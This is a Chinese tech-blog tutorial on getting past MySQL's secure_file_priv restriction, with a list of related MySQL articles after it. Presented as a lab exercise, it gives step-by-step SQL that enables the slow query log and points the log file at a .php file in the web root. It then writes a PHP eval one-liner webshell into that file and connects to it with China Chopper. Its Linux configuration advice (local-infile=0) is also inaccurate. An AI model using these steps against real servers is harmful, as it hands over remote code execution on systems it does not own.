MYSQL突破secure_file_priv写shell问题

 更新时间:2024年01月18日 17:09:59   作者:W小哥1  
这篇文章主要介绍了MYSQL突破secure_file_priv写shell问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教

目标IP地址:192.168.106.130

本地IP地址:192.168.106.1

访问目标网络如下图所示:

实验场景

某些情况下,当我们进入网站phpmyadmin或者网站后台执行SQL命令,计划通过select into outfile写一句话木马(shell),但是通常都会报错

如下图所示:

原因

在mysql 中 secure_file_priv的值默认为NULL。

并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux:

在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。

secure_file_priv作用:

  • secure_file_priv为null 表示不允许导入导出
  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  • secure_file_priv没有设置时,则表示没有任何限制

但是如果这样的话我们就不能够写shell了吗?答案是否定的。

突破限制利用方法:日志的利用

利用方法:

攻击时进行一次附带代码的url请求,在日志记录这次请求之后,通过文件包含漏洞来包含这个日志文件,从而执行请求中的代码。

mysql也具有日志,我们也可以通过日志来getshell。

mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志,日志的详细情况参考mysql日志详细解析

本次实验主要利用慢查询日志写shell

第一步:

1.设置slow_query_log=1.即启用慢查询日志(默认禁用)。

分析:

slow_query_log=ON 已开启

第二步:

修改slow_query_log_file日志文件的绝对路径以及文件名

作为攻击者不知道安装路径,可以输入:show variables like “%char%”,执行效果如下图所示,得到安装路径

修改slow_query_log_file日志文件的绝对路径以及文件名为C:\phpstudy\PHPTutorial\WWW\shell.php

set global slow_query_log_file=‘C:\phpstudy\PHPTutorial\WWW\shell.php’

目标靶机验证是否成功修改:

第三步:

向日志文件写入shell,select ‘<?php @eval($_POST[x]);?>’ or sleep(11)

因为sleep(11),SQL语句正确的话,会延迟11秒后返回执行结果,耐心等待即可

第四步:

访问shell.php日志文件

第五步:

中国菜刀连接

连接成功

总结

以上为个人经验,希望能给大家一个参考,也希望大家多多支持脚本之家。

相关文章

  • MySQL默认sql_mode浅析

    MySQL默认sql_mode浅析

    这篇文章主要为大家介绍了MySQL默认sql_mode浅析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-03-03
  • MYSQL与SQLserver之间存储过程的转换方式

    MYSQL与SQLserver之间存储过程的转换方式

    这篇文章主要介绍了MYSQL与SQLserver之间存储过程的转换方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2022-11-11
  • mssql2008 自定义表类型实现(批量插入或者修改)

    mssql2008 自定义表类型实现(批量插入或者修改)

    在做大型网站或者系统的时候,经常会遇到个问题就是批量插入或者修改数据库;今天这边不讲SqlBulkCopy,只简单讲sql自定义表类型,感兴趣的朋友可以了解下哦,希望本文对你有所帮助
    2013-01-01
  • MySQL 随机密码生成代码

    MySQL 随机密码生成代码

    晚上有朋友问起,简单的写了一个。
    2009-09-09
  • MySQL 数据类型选择原则

    MySQL 数据类型选择原则

    MySQL支持大量的数据类型,选择正确的类型对性能十分关键。本篇介绍了MySQL 的数据类型选择原则,可以根据这些基本的原则确定数据表字段的具体数据类型。
    2021-05-05
  • Mac安装 mysql 数据库总结

    Mac安装 mysql 数据库总结

    本文给大家分享的是如何在Mac下安装mysql数据库的方法,总结的很全面,有需要的小伙伴可以参考下
    2016-04-04
  • mysql 记录不存在时插入 记录存在则更新的实现方法

    mysql 记录不存在时插入 记录存在则更新的实现方法

    相信很多人都需要用到这个语句,请看下文:(在4.1以后的版本才有效)
    2008-08-08
  • MySQL如何选择合适的索引

    MySQL如何选择合适的索引

    这篇文章主要介绍了MySQL如何选择合适的索引,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-09-09
  • 连接mysql报错——没有设置“usessl=false”的问题

    连接mysql报错——没有设置“usessl=false”的问题

    这篇文章主要介绍了连接mysql报错——没有设置“usessl=false”的问题及解决方案,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2022-08-08
  • Innodb中mysql快速删除2T的大表方法示例

    Innodb中mysql快速删除2T的大表方法示例

    这篇文章主要给大家介绍了关于Innodb中mysql快速删除2T的大表的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2018-08-08

最新评论